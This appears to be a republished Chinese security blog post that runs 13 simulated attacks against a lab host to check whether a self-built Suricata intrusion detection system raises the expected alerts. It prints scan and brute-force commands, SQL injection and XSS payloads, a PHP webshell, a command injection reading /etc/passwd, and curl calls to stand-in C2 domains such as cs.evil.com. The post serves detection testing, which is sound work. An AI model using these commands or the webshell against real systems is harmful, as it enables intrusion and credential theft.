文章总结: 文章从攻击方视角模拟了网络扫描、Web攻击、恶意软件通信等13种典型攻击行为,验证自研NIDS通过规则匹配捕捉这些行为。主要结论是NIDS能在攻击链各环节识别异常,如扫描阶段靠流量频率,攻击阶段靠漏洞特征。关键发现是不同攻击有特定检测模式。建议安全工程师定期验证IDS规则有效性,渗透测试人员需注意操作痕迹。
综合评分: 86
文章分类: 渗透测试,网络安全,漏洞分析,红队,恶意软件
攻击方视角-检验自研NIDS入侵检测能力
原创
汤青松
青松阁主
2025年11月13日 21:26
北京
背景
在攻防演练对抗中,攻击方有自己攻击SOP,一般前期会踩点扫描,到中期的漏洞利用,再到后期的权限维持,形成一条完整的攻击链。而NIDS入侵检测系统就是在这条链条的每个环节中精准识别异常,提前阻断攻击。
这篇文章从攻击方视角的攻击场景出发,假设了13种典型攻击行为,然后验证自研NIDS通过规则匹配捕捉这些行为; 看完这篇文章之后如果你是甲方安全工程师,应该能帮你理解IDS的检测逻辑;如果你是渗透测试工程师,也可以看到自己的操作可能留下的痕迹。
一、搭建贴近实战的测试环境
在开始这个实验前,先准备一个测试环境,尽量接近真实的攻击行为和检测结果:
-
网络拓扑
:攻击源(测试机A,Kali Linux)与受害者(测试机B,部署了Web服务、SSH/FTP/SMB等常用服务)处于同一办公网段(192.80.168.0/24),Suricata服务器通过端口镜像监听两者的所有流量。
-
规则与工具
:启用最新的ET OPEN规则库(包含数万条攻击特征规则),并在测试机A上准备黑客常用工具——从扫描工具(nmap、masscan)到攻击框架(sqlmap、Cobalt Strike),再到恶意样本(Mirai bot),覆盖攻击全流程。
-
日志监控
:通过NIDS的eve.json(详细日志)和fast.log(告警摘要)实时追踪攻击行为,重点关注源IP、目标IP、告警规则ID(sid)和攻击特征描述。
二、黑客踩点——网络层异常扫描
黑客入侵的第一步,往往是”踩点”:通过扫描了解目标网络的拓扑、开放端口和服务版本,为后续攻击找突破口。这一阶段的核心是”信息收集”,对应的扫描行为具有明显的特征——比如短时间内大量探测包、特定工具的指纹等。
2.1 网段扫描——快速摸清存活主机
黑客视角:刚进入一个陌生网络,最想知道的是”这里有多少台活着的设备?”。传统nmap扫描速度太慢,黑客会用masscan——这款工具以”秒级扫完整个B段”著称,通过发送大量SYN包,快速定位网段内的存活主机和开放端口。
模拟攻击步骤:
在测试机A上执行masscan,针对192.80.168.0/24网段的1-1000端口进行高速扫描(速率1000包/秒):
masscan 192.80.168.0/24 -p1-1000 --rate 1000
检测原理
masscan的SYN包有独特的特征(如发包速率、TCP选项字段),ET规则库中专门有一条规则(sid:2017085)匹配这种行为。
- 预期告警:
ET SCAN Masscan SYN scan(sid:2017085) - 验证标准:30秒内fast.log中至少出现10条相同sid的告警,且源IP均为测试机A(攻击源)。
2.2 端口扫描——锁定目标主机的开放端口
黑客视角:通过网段扫描发现192.80.168.79是一台存活主机,接下来需要知道这台主机开放了哪些端口(比如22=SSH、80=HTTP)。为了隐蔽,黑客会用nmap的SYN半开放扫描(-sS)——这种扫描不建立完整TCP连接,不易被目标主机日志记录,但会在网络层留下大量针对不同端口的SYN包。
模拟攻击步骤:
针对测试机B(192.80.168.79)的1-1000端口执行SYN扫描:
nmap -sS -p1-1000 192.80.168.79
检测原理
nmap的SYN扫描会发送大量”只发SYN包、不完成三次握手”的流量,ET规则(如sid:2100369)专门捕捉这种特征。
- 预期告警:
ET SCAN NMAP -sS scan detected(sid:2100369等) - 验证标准:1分钟内出现告警,且目标IP(dst_ip)明确指向测试机B。
2.3 服务枚举——挖掘服务版本的漏洞线索
黑客视角:已知192.80.168.79开放了21(FTP)、22(SSH)、80(HTTP)端口,下一步需要确认这些服务的具体版本(比如”OpenSSH 7.2p2″可能有已知漏洞)。黑客会用nmap的-sV参数发送特征探针(如对HTTP发送”GET / HTTP/1.1″),通过返回的Banner信息识别版本。
模拟攻击步骤:
对测试机B的关键端口执行服务版本探测:
nmap -sV -p21,22,80,443 192.80.168.79
检测原理
服务枚举的两个关键特征会被捕捉:一是nmap的特征探针(匹配sid:2100432),二是目标服务返回的Banner信息(匹配sid:2002878)。
-
预期告警:
-
ET SCAN Nmap service probe(sid:2100432)
-
ET POLICY Banner grab(sid:2002878)
-
验证标准:2分钟内出现两类告警,目标IP为测试机B。
三、发起攻击——利用漏洞突破防线
完成信息收集后,黑客会根据扫描结果选择攻击方式:如果发现Web服务,可能尝试SQL注入、XSS;如果发现弱口令风险,可能发起暴力破解;如果成功入侵,会通过C2信道维持控制。
3.1 Web攻击——SQL注入窃取数据库
黑客视角:扫描发现192.80.168.79的80端口运行着Web应用,且存在动态参数(如search.php?id=1)。黑客怀疑这里有SQL注入漏洞——通过构造特殊参数(如id=1' OR '1'='1),可以绕过验证甚至读取数据库内容。为了高效测试,会用sqlmap自动探测并利用漏洞。
模拟攻击步骤:
用sqlmap对目标URL进行自动化SQL注入测试:
sqlmap -u "http://192.80.168.79/search.php?id=1" --batch
检测原理
SQL注入的特征是URL中包含SQL语句片段(如单引号、UNION SELECT),ET规则(sid:2013028)和OWASP CRS规则(942100)会匹配这些特征。
-
预期告警:
-
ET WEB_CLIENT SQL Injection Attempt(sid:2013028)
-
OWASP CRS 942100 PL1 SQL Injection Attack Detected -
验证标准:30秒内出现告警,HTTP请求中包含
id=1'或UNION SELECT等注入特征。
3.2 Web攻击——XSS窃取用户Cookie
黑客视角:发现Web应用的xss.php?name=参数未过滤用户输入,黑客可以注入JavaScript脚本(如<script>alert(1)</script>)。当其他用户访问该页面时,脚本会执行——如果是存储型XSS,甚至能窃取所有访问者的Cookie(包含登录凭证)。
模拟攻击步骤:
用curl发送包含XSS脚本的请求:
curl "http://192.80.168.79/xss.php?name=<script>alert(1)</script>"
检测原理
XSS的核心特征是HTML脚本标签(如<script>),ET规则(sid:2013026)专门捕捉URL中的脚本注入行为。
- 预期告警:
ET WEB_CLIENT XSS Script Tag Injection(sid:2013026) - 验证标准:10秒内出现告警,URL参数包含
<script>alert(1)</script>。
3.3 Web攻击——恶意文件上传getshell
黑客视角:目标网站有文件上传功能(upload.php),但可能对文件类型校验不严。黑客会制作一个伪装成图片的PHP后门(如evil.php.jpg,内容为<?php eval($_POST['cmd']);?>),如果上传成功,就能通过这个后门执行系统命令(getshell)。
模拟攻击步骤:
用curl上传恶意文件:
curl -F "[email protected]" http://192.80.168.79/upload.php
检测原理
PHP后门的特征是包含<?php标签,即使文件名伪装成.jpg,ET规则(sid:2013023)也能识别文件内容中的PHP代码。
- 预期告警:
ET WEB_SERVER PHP File Upload Attempt(sid:2013023) - 验证标准:15秒内出现告警,上传文件名包含
evil.php.jpg。
3.4 Web攻击——命令执行接管服务器
黑客视角:发现目标网站的ping.php?ip=参数存在命令注入漏洞——用户输入的IP会被直接拼接到系统命令(如ping -c 1 $ip)中。黑客可以通过分号分隔命令(如127.0.0.1;cat /etc/passwd),执行任意系统命令(如读取密码文件、添加管理员账号)。
模拟攻击步骤:
发送包含注入命令的请求:
curl "http://192.80.168.79/ping.php?ip=127.0.0.1;cat /etc/passwd"
检测原理
命令注入的特征是URL参数中包含系统命令分隔符(如;、&&)和敏感命令(如cat /etc/passwd),ET规则(sid:2024217)会匹配这些模式。
- 预期告警:
ET WEB_CLIENT Possible Command Injection(sid:2024217) - 验证标准:10秒内出现告警,URL参数包含
127.0.0.1;cat /etc/passwd。
3.5 C2信标——通过DNS隧道维持控制
黑客视角:成功入侵测试机A后,黑客需要远程控制这台主机(比如窃取数据、横向移动)。但直接建立TCP连接可能被防火墙拦截,因此会用DNS隧道——将控制命令伪装成DNS查询(如向cs.evil.com发送特定子域名),绕过常规检测。
模拟攻击步骤:
在测试机A上运行Cobalt Strike,配置DNS隧道监听器指向恶意域名cs.evil.com,生成并执行beacon payload。
检测原理
Cobalt Strike的DNS隧道有两个特征:一是频繁查询特定恶意域名(cs.evil.com),二是DNS包中包含C2通信的特征字段。ET规则(sid:2025623和sid:2025624)会分别匹配这两个特征。
-
预期告警:
-
ET DNS Query for .cs.evil.com(sid:2025623)
-
ET TROJAN Cobalt Strike Malleable C2 DNS(sid:2025624)
-
验证标准:1分钟内出现两类告警,域名字段均为
cs.evil.com。
3.6 C2通信——已知恶意域名的HTTP心跳
黑客视角:某些恶意软件(如Mozi僵尸网络)会定期向已知C2域名发送心跳包(比如http://update.malware-c2.net/),汇报自身状态并接收指令。这些域名通常被安全厂商标记,但其通信流量可能伪装成正常HTTP请求(仅User-Agent特殊,如Mozi.m)。
模拟攻击步骤:
用curl模拟Mozi的C2心跳请求:
curl -H "User-Agent: Mozi.m" http://update.malware-c2.net/
检测原理
ET规则库维护了已知恶意域名和对应恶意软件的特征(如Mozi的User-Agent),规则sid:2026345会匹配这种组合。
- 预期告警:
ET MALWARE Win32/Mozi Check-in(sid:2026345) - 验证标准:15秒内出现告警,User-Agent为
Mozi.m,目标域名为update.malware-c2.net。
3.7 恶意软件回连——Mirai僵尸网络的特征通信
黑客视角:Mirai是典型的物联网僵尸网络病毒,感染设备后会向C2服务器的23端口(Telnet)回连,接收攻击指令(如DDoS)。这种回连的端口和流量特征非常固定,是检测的关键。
模拟攻击步骤:
在测试机B上执行脱敏的Mirai样本,使其向C2服务器(192.168.1.100:23)发起回连。
检测原理
Mirai回连的特征是目标端口固定为23,且流量中包含特定指令序列,ET规则(sid:2024211)专门匹配这种行为。
- 预期告警:
ET TROJAN Mirai Variant C2 Communication(sid:2024211) - 验证标准:1分钟内出现告警,目标端口(dst_port)为23。
3.8 暴力破解——SSH弱口令突破
黑客视角:扫描发现目标主机开放SSH服务(22端口),黑客猜测可能存在弱口令(如root/123456)。会用hydra工具加载密码字典(如rockyou.txt),批量尝试登录,直到成功。
模拟攻击步骤:
对测试机B的SSH服务进行暴力破解:
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.80.168.79
检测原理
SSH暴力破解的特征是短时间内大量失败的登录请求(源IP固定,目标端口22),ET规则(sid:2001219)会统计这种高频尝试。
- 预期告警:
ET SCAN Potential SSH Brute-Force(sid:2001219) - 验证标准:5分钟内出现至少10条相同sid的告警,源IP为测试机A。
3.9 暴力破解——FTP服务的批量尝试
黑客视角:FTP服务通常用于文件传输,部分管理员会设置简单密码(如ftp/ftp)。黑客会用hydra针对FTP服务(21端口)发起暴力破解,试图获取文件访问权限。
模拟攻击步骤:
对测试机B的FTP服务进行暴力破解:
hydra -l ftp -P /usr/share/wordlists/rockyou.txt ftp://192.80.168.79
检测原理
FTP暴力破解会产生大量”530 Login incorrect”的响应,ET规则(sid:2000349)会捕捉这种高频失败登录模式。
- 预期告警:
ET SCAN Potential FTP Brute-Force(sid:2000349) - 验证标准:3分钟内出现至少5条告警,目标端口为21。
3.10 暴力破解——SMB服务的横向渗透
黑客视角:在Windows环境中,SMB服务(445端口)用于文件共享和远程管理,是横向渗透的关键目标。黑客会用crackmapexec工具加载账号密码字典,批量尝试登录域内主机,寻找可利用的权限。
模拟攻击步骤:
对测试机B的SMB服务进行暴力破解:
crackmapexec smb 192.80.168.79 -u user.txt -p pass.txt
检测原理
SMB暴力破解会发送大量NTLM认证请求,ET规则(sid:2019401)会识别这种批量认证行为。
- 预期告警:
ET POLICY SMB Brute-Force Login Attempt(sid:2019401) - 验证标准:3分钟内出现至少5条告警,目标端口为445。
四、从攻击链看IDS的价值
从黑客的攻击链(扫描→漏洞利用→控制→横向渗透)来看,Suricata的检测逻辑本质是”捕捉每个环节的特征行为”:
- 扫描阶段靠”流量频率+工具指纹”(如masscan的高速发包);
- 攻击阶段靠”漏洞利用特征”(如SQL注入的
UNION SELECT); - 控制阶段靠”恶意域名+通信模式”(如Cobalt Strike的DNS隧道)。
对于安全工程师,建议结合这些测试用例定期验证IDS规则的有效性;对于渗透测试人员,也需意识到每一步操作都可能被NIDS的系统记录——攻防对抗的核心,正是对”特征”的识别与隐藏。
作者:汤青松
日期:2025年11月13日
微信:songboy8888
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:青松阁主 汤青松《攻击方视角-检验自研NIDS入侵检测能力》